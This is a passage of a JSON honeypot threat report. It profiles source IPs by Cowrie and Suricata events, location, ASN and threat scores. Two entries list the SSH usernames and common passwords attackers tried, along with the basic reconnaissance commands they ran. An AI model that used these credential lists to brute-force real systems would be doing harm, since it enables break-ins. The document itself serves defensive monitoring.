        "last_seen_30d": "2026-03-06T09:03:12.890000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "178.16.53.51": {
      "attack_count": 4,
      "first_seen": "2026-03-21T23:53:33.284Z",
      "last_seen": "2026-03-21T23:58:29.778Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-21T23:53:33.284000+00:00",
        "last_seen_30d": "2026-03-23T22:22:28.856000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 18,
        "Cowrie": 4
      }
    },
    "182.218.105.49": {
      "attack_count": 4,
      "first_seen": "2026-03-20T00:50:32.358Z",
      "last_seen": "2026-03-24T01:38:16.424Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mapo-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T00:50:32.358000+00:00",
        "last_seen_30d": "2026-03-24T01:39:21.027000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "42.81.143.35": {
      "attack_count": 4,
      "first_seen": "2026-03-07T16:01:20.104Z",
      "last_seen": "2026-03-07T16:01:20.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58542,
      "as_org": "Tianjij,300000",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T16:01:20.104000+00:00",
        "last_seen_30d": "2026-03-07T16:03:05.172000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "47.245.109.51": {
      "attack_count": 4,
      "first_seen": "2026-03-04T00:09:21.624Z",
      "last_seen": "2026-03-08T06:26:24.048Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:09:21.624000+00:00",
        "last_seen_30d": "2026-03-08T06:27:33.254000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.62.197.204": {
      "attack_count": 4,
      "first_seen": "2026-03-17T14:02:43.545Z",
      "last_seen": "2026-03-17T14:02:47.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 75.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T08:34:07.395000+00:00",
        "last_seen_30d": "2026-03-31T08:56:50.730000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "8.222.228.70": {
      "attack_count": 4,
      "first_seen": "2026-03-11T16:48:28.983Z",
      "last_seen": "2026-03-11T16:48:36.983Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T16:48:28.983000+00:00",
        "last_seen_30d": "2026-03-11T16:49:40.162000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "91.215.85.104": {
      "attack_count": 4,
      "first_seen": "2026-03-02T09:29:21.414Z",
      "last_seen": "2026-03-20T22:07:44.063Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 200593,
      "as_org": "Prospero Ooo",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 597,
        "days_active_30d": 28,
        "ports_targeted_30d": 109,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T09:29:21.414000+00:00",
        "last_seen_30d": "2026-03-29T00:38:37.153000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 440,
        "Honeytrap": 145,
        "Cowrie": 4,
        "Dionaea": 3,
        "Ciscoasa": 1,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "91.231.89.225": {
      "attack_count": 4,
      "first_seen": "2026-03-14T22:28:40.484Z",
      "last_seen": "2026-03-14T22:29:02.300Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T09:44:47+00:00",
        "last_seen_30d": "2026-03-31T23:18:11.405000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 42,
        "Cowrie": 4,
        "Ipphoney": 1
      }
    },
    "103.38.236.76": {
      "attack_count": 3,
      "first_seen": "2026-03-22T01:16:34.527Z",
      "last_seen": "2026-03-22T01:18:34.614Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149148,
      "as_org": "Phu Hai Computer Co., Ltd",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T01:16:34.527000+00:00",
        "last_seen_30d": "2026-03-22T01:20:55.332000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "104.152.52.241": {
      "attack_count": 3,
      "first_seen": "2026-03-12T07:45:44.466Z",
      "last_seen": "2026-03-12T07:45:44.468Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:45:26.896000+00:00",
        "last_seen_30d": "2026-03-12T07:46:53.731000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 3
      }
    },
    "103.7.247.228": {
      "attack_count": 2,
      "first_seen": "2026-03-07T12:43:34.521Z",
      "last_seen": "2026-03-07T12:43:49.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38120,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T12:43:34.521000+00:00",
        "last_seen_30d": "2026-03-07T12:44:55.831000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.2.149.6": {
      "attack_count": 2,
      "first_seen": "2026-03-20T23:58:30.853Z",
      "last_seen": "2026-03-20T23:58:45.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Toyota",
      "asn": 9354,
      "as_org": "Community Network Center Inc.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:58:30.853000+00:00",
        "last_seen_30d": "2026-03-20T23:59:46.733000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.121.246.33": {
      "attack_count": 2,
      "first_seen": "2026-03-30T04:12:41.639Z",
      "last_seen": "2026-03-30T04:13:12.924Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Paul\u00ednia",
      "asn": 264323,
      "as_org": "OXMAN TECNOLOGIA LTDA",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T04:12:41.639000+00:00",
        "last_seen_30d": "2026-03-30T04:14:23.002000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "178.66.230.189": {
      "attack_count": 2,
      "first_seen": "2026-03-18T10:23:52.979Z",
      "last_seen": "2026-03-18T10:24:08.990Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T10:23:52.979000+00:00",
        "last_seen_30d": "2026-03-18T10:25:14.231000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.133.117.0": {
      "attack_count": 2,
      "first_seen": "2026-03-15T11:13:24.972Z",
      "last_seen": "2026-03-15T11:13:37.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Jerez de Garc\u00eda Salinas",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:13:24.972000+00:00",
        "last_seen_30d": "2026-03-15T11:14:40.261000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.196.244.170": {
      "attack_count": 2,
      "first_seen": "2026-03-15T20:25:42.628Z",
      "last_seen": "2026-03-15T20:26:13.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Ven\u00e9cia",
      "asn": 266176,
      "as_org": "Lidercom Provedor de Internet Eireli",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:25:42.628000+00:00",
        "last_seen_30d": "2026-03-15T20:27:19.734000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "197.45.216.208": {
      "attack_count": 2,
      "first_seen": "2026-03-07T11:57:34.971Z",
      "last_seen": "2026-03-07T11:58:07.560Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:57:34.971000+00:00",
        "last_seen_30d": "2026-03-07T11:59:10.728000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.239": {
      "attack_count": 2,
      "first_seen": "2026-03-21T15:11:22.886Z",
      "last_seen": "2026-03-21T15:11:53.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T01:36:42+00:00",
        "last_seen_30d": "2026-03-31T15:30:50.707000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 35,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "210.57.229.52": {
      "attack_count": 2,
      "first_seen": "2026-03-05T00:26:07.090Z",
      "last_seen": "2026-03-05T00:26:20.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 9762,
      "as_org": "kt HCN Co.,Ltd.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:26:07.090000+00:00",
        "last_seen_30d": "2026-03-05T00:27:29.769000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.92.28.181": {
      "attack_count": 2,
      "first_seen": "2026-03-06T06:02:56.791Z",
      "last_seen": "2026-03-06T06:03:09.724Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:02:56.791000+00:00",
        "last_seen_30d": "2026-03-06T06:04:17.080000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.112.46.78": {
      "attack_count": 2,
      "first_seen": "2026-03-08T11:28:31.246Z",
      "last_seen": "2026-03-08T11:29:02.103Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T11:28:31.246000+00:00",
        "last_seen_30d": "2026-03-08T11:30:06.402000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "31.190.7.188": {
      "attack_count": 2,
      "first_seen": "2026-03-20T02:42:07.477Z",
      "last_seen": "2026-03-20T02:42:21.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T02:42:07.477000+00:00",
        "last_seen_30d": "2026-03-20T02:43:27.482000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.148.173": {
      "attack_count": 2,
      "first_seen": "2026-03-21T01:21:06.424Z",
      "last_seen": "2026-03-21T01:21:19.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:21:06.424000+00:00",
        "last_seen_30d": "2026-03-21T01:22:27.423000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.228": {
      "attack_count": 2,
      "first_seen": "2026-03-14T22:29:02.878Z",
      "last_seen": "2026-03-14T22:29:05.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 30,
        "ports_targeted_30d": 65,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T05:09:08.083000+00:00",
        "last_seen_30d": "2026-03-31T21:17:23.697000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 174,
        "Honeytrap": 36,
        "Adbhoney": 2,
        "Cowrie": 2,
        "Sentrypeer": 2
      }
    },
    "94.156.141.176": {
      "attack_count": 2,
      "first_seen": "2026-03-31T12:35:42.940Z",
      "last_seen": "2026-03-31T12:36:14.519Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 29244,
      "as_org": "CETIN Bulgaria EAD",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T12:35:42.940000+00:00",
        "last_seen_30d": "2026-03-31T12:37:18.394000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "165.22.224.127": {
      "attack_count": 1120,
      "first_seen": "2026-03-19T01:06:32.233Z",
      "last_seen": "2026-03-19T01:26:14.303Z",
      "sessions": 224,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "ubuntu",
        "aaa",
        "ftpuser",
        "oracle",
        "test",
        "a",
        "alex",
        "ali",
        "bot",
        "david",
        "deployer",
        "ftpadmin",
        "ftptest",
        "hadoop",
        "home",
        "info",
        "jenkins"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "root",
        "12345678",
        "admin123",
        "password",
        "12345",
        "1234567",
        "1qaz@WSX",
        "P@ssw0rd",
        "home",
        "hooman",
        "p@ssw0rd",
        "0000",
        "1",
        "102030",
        "1111",
        "11111111",
        "1123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 1577,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T01:06:32.233000+00:00",
        "last_seen_30d": "2026-03-19T01:27:48.543000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1120,
        "Suricata": 457
      }
    },
    "134.122.111.37": {
      "attack_count": 830,
      "first_seen": "2026-03-03T07:34:06.092Z",
      "last_seen": "2026-03-03T09:52:12.812Z",
      "sessions": 165,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "ansible",
        "apache",
        "backup",
        "centos",
        "debian",
        "docker",
        "ec2-user",
        "elastic",
        "fedora",
        "ftp",
        "git",
        "guest",
        "info",
        "jenkins",
        "minecraft"
      ],
      "passwords_attempted": [
        "password",
        "123456",
        "P@ssw0rd",
        "letmein",
        "passw0rd",
        "qwerty",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026",
        "ansible",
        "ansible123",
        "ansible2026",
        "apache",
        "apache123",
        "apache2026",
        "backup"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
